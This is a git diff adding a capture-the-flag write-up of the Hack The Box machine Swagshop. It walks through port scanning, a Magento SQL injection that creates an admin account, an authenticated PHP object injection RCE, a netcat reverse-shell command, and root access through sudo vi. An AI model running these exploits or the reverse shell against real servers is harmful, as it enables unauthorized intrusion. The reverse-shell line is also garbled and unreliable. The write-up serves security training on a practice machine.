|
| 1 | +# Swagshop - Linux (Easy) |
| 2 | + |
| 3 | +## Summary |
| 4 | +Swagshop was an easy box that involved a Magneto store web server. I start off by exploiting an authentication bypass to add an admin user to the CMS. I then used an authenticated exploitation of a PHP Object Injection Vulnerability to get RCE. I was able to then use Vi to privesc to gain root level access. |
| 5 | + |
| 6 | +## Enumeration |
| 7 | +I started Enumeration by running Rustscan on the the target that showed ports 22 & 80 being open. |
| 8 | + |
| 9 | +``` |
| 10 | +rustscan -a $machine_IP -- -A -sV -sC -T4 -vv |
| 11 | +
|
| 12 | +-sC - Script Scan |
| 13 | +-sV - Version Scan |
| 14 | +-T4 - Timing Template |
| 15 | +-A - Aggresive Scan Options |
| 16 | +-vv - Verbosity level |
| 17 | +
|
| 18 | +.----. .-. .-. .----..---. .----. .---. .--. .-. .-. |
| 19 | +| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | |
| 20 | +| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | |
| 21 | +`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' |
| 22 | +The Modern Day Port Scanner. |
| 23 | +________________________________________ |
| 24 | +: https://discord.gg/GFrQsGy : |
| 25 | +: https://github.com/RustScan/RustScan : |
| 26 | + -------------------------------------- |
| 27 | +Real hackers hack time ⌛ |
| 28 | +
|
| 29 | +[~] The config file is expected to be at "/root/.rustscan.toml" |
| 30 | +[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers |
| 31 | +[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. |
| 32 | +Open $machine_IP:22 |
| 33 | +Open $machine_IP:80 |
| 34 | +22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) |
| 35 | +| ssh-hostkey: |
| 36 | +80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) |
| 37 | +|_http-title: Did not follow redirect to http://swagshop.htb/ |
| 38 | +|_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82 |
| 39 | +| http-methods: |
| 40 | +|_ Supported Methods: GET HEAD POST OPTIONS |
| 41 | +|_http-server-header: Apache/2.4.18 (Ubuntu) |
| 42 | +``` |
| 43 | + |
| 44 | +### Port 80 - HTTP |
| 45 | +The website is a Magneto Gift Shop Store. I ran Gobuster on `index.php` which provided more details than the landing page, including an admin directory. |
| 46 | + |
| 47 | +``` |
| 48 | +gobuster dir -u http://swagshop.htb/index.php/ -w /usr/share/wordlists/dirb/common.txt -k |
| 49 | +=============================================================== |
| 50 | +Gobuster v3.1.0 |
| 51 | +by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) |
| 52 | +=============================================================== |
| 53 | +[+] Url: http://swagshop.htb/index.php/ |
| 54 | +[+] Method: GET |
| 55 | +[+] Threads: 10 |
| 56 | +[+] Wordlist: /usr/share/wordlists/dirb/common.txt |
| 57 | +[+] Negative Status codes: 404 |
| 58 | +[+] User Agent: gobuster/3.1.0 |
| 59 | +[+] Timeout: 10s |
| 60 | +=============================================================== |
| 61 | +2022/02/18 06:38:23 Starting gobuster in directory enumeration mode |
| 62 | +=============================================================== |
| 63 | +/0 (Status: 200) [Size: 16593] |
| 64 | +/admin (Status: 200) [Size: 3609] |
| 65 | +/api (Status: 200) [Size: 361] |
| 66 | +/catalog (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/] |
| 67 | +/checkout (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/checkout/onepage/] |
| 68 | +/cms (Status: 200) [Size: 16593] |
| 69 | +/contacts (Status: 200) [Size: 15600] |
| 70 | +/core (Status: 200) [Size: 0] |
| 71 | +/enable-cookies (Status: 200) [Size: 19482] |
| 72 | +/Home (Status: 200) [Size: 16591] |
| 73 | +/home (Status: 200) [Size: 16591] |
| 74 | +/install (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/] |
| 75 | +/wishlist (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/customer/account/login/] |
| 76 | + |
| 77 | +=============================================================== |
| 78 | +2022/02/18 06:46:16 Finished |
| 79 | +=============================================================== |
| 80 | +``` |
| 81 | + |
| 82 | + |
| 83 | +The `admin` directory had an Admin login page for which, default credentials didn't seem to do the trick. With some Searchsploit and Googling, I was able to settle on the [Shoplift](https://github.com/joren485/Magento-Shoplift-SQLI) exploit. The PoC selects an admin user, feeds queries into one line and inserts a username:password combination which allows legitimate access. |
| 84 | + |
| 85 | + |
| 86 | + |
| 87 | + |
| 88 | + |
| 89 | +## User Foothold |
| 90 | + |
| 91 | +Now that I am authenticated, I was able to use Searchsploit to grab working code for an Authenticated RCE [exploit](https://www.exploit-db.com/exploits/37811). |
| 92 | + |
| 93 | + |
| 94 | + |
| 95 | +Having done some research on the nature of this exploit, it appears to be a PHP Object Injection Vulnerability. A key aspect to this attack vector is the date when it was installed which is present in `swagshop.htb/app/etc/local.xml`. This allows me to inject my own code, resulting in the RCE. |
| 96 | + |
| 97 | +After [RCE.py](RCE.py) was debugged, I was able to run the following Proof of Concept. |
| 98 | + |
| 99 | +``` |
| 100 | +python exploit.py http://IP/index.php/admin "whoami" |
| 101 | +
|
| 102 | +http://swagshop.htb/index.php/admin/index/index/key/15b8de05ecf8a02c061eec0d14578a48/?SID=901gjdi369elk0fkpp5rguve55 |
| 103 | +http://swagshop.htb/index.php/admin/dashboard/index/key/fa2c88ef0cf6cd68256766221e0a9866/ |
| 104 | +
|
| 105 | +www-data |
| 106 | +``` |
| 107 | + |
| 108 | +Seeing that this provided the expected output of the `whoami` command giving me access as `www-data`, I was able to expand on this to set a netcat reverse shell and a listener |
| 109 | + |
| 110 | +``` |
| 111 | +python exploit.py http://$machine_IP/index.php/admin "rm /tmp/f;f;cat /tmp/f|/bin/sh -i 2>&1|nc $machine_IP 1234 >/tmp/f" |
| 112 | +``` |
| 113 | + |
| 114 | +Having established this, I was able to upgrade my shell and grab the user flag. |
| 115 | + |
| 116 | + |
| 117 | + |
| 118 | +## Privilege Escalation |
| 119 | + |
| 120 | +After obtaining the user flag, I ran `sudo -l` to identify what other applications the user could run as root. This was surprisingly easy as I could use `/usr/bin/vi` & `/var/www/html/*` |
| 121 | + |
| 122 | + |
| 123 | + |
| 124 | + |
| 125 | + |
| 126 | +For reference, I used the associated [GTFO Bins](https://gtfobins.github.io/gtfobins/vi/) resource. |
| 127 | + |
| 128 | +This ensured that I was able to reach the `root.txt` file and grab the root file as an unprivileged user. When in Vi, I was able to use the `:sh` flag which gave me a root shell |
| 129 | + |
| 130 | + |
| 131 | + |
| 132 | +## Cert |
| 133 | + |
| 134 | + |
0 commit comments